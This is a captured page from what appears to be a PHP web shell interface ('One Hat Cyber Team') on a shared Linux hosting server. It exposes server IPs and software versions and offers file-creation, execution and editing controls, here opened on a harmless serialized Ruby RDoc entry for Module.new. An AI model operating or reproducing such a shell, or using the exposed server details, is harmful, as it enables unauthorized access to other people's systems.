⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.116
Server IP:
78.40.11.138
Server:
Linux tango.o2switch.net 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
alt
/
ruby19
/
share
/
ri
/
1.9.1
/
system
/
Module
/
Edit File: new-c.ri
U:RDoc::AnyMethod[iI"new:EFI"Module::new;FT:publico:RDoc::Markup::Document:@parts[ o:RDoc::Markup::Paragraph; [I"FCreates a new anonymous module. If a block is given, it is passed;TI"Ithe module object, and the block is evaluated in the context of this;TI"+module using <code>module_eval</code>.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I"fred = Module.new do ;FI" def meth1 ;FI" "hello" ;FI" end ;FI" def meth2 ;FI" "bye" ;FI" end ;FI" end ;FI"a = "my string" ;FI"&a.extend(fred) #=> "my string" ;FI""a.meth1 #=> "hello" ;FI" a.meth2 #=> "bye" ;Fo; ; [I"EAssign the module to a constant (name starting uppercase) if you;TI",want to treat it like a regular module.;T: @file0I"LModule.new -> mod Module.new {|mod| block } -> mod ;T0[ I"();FI" object.c;T
Simpan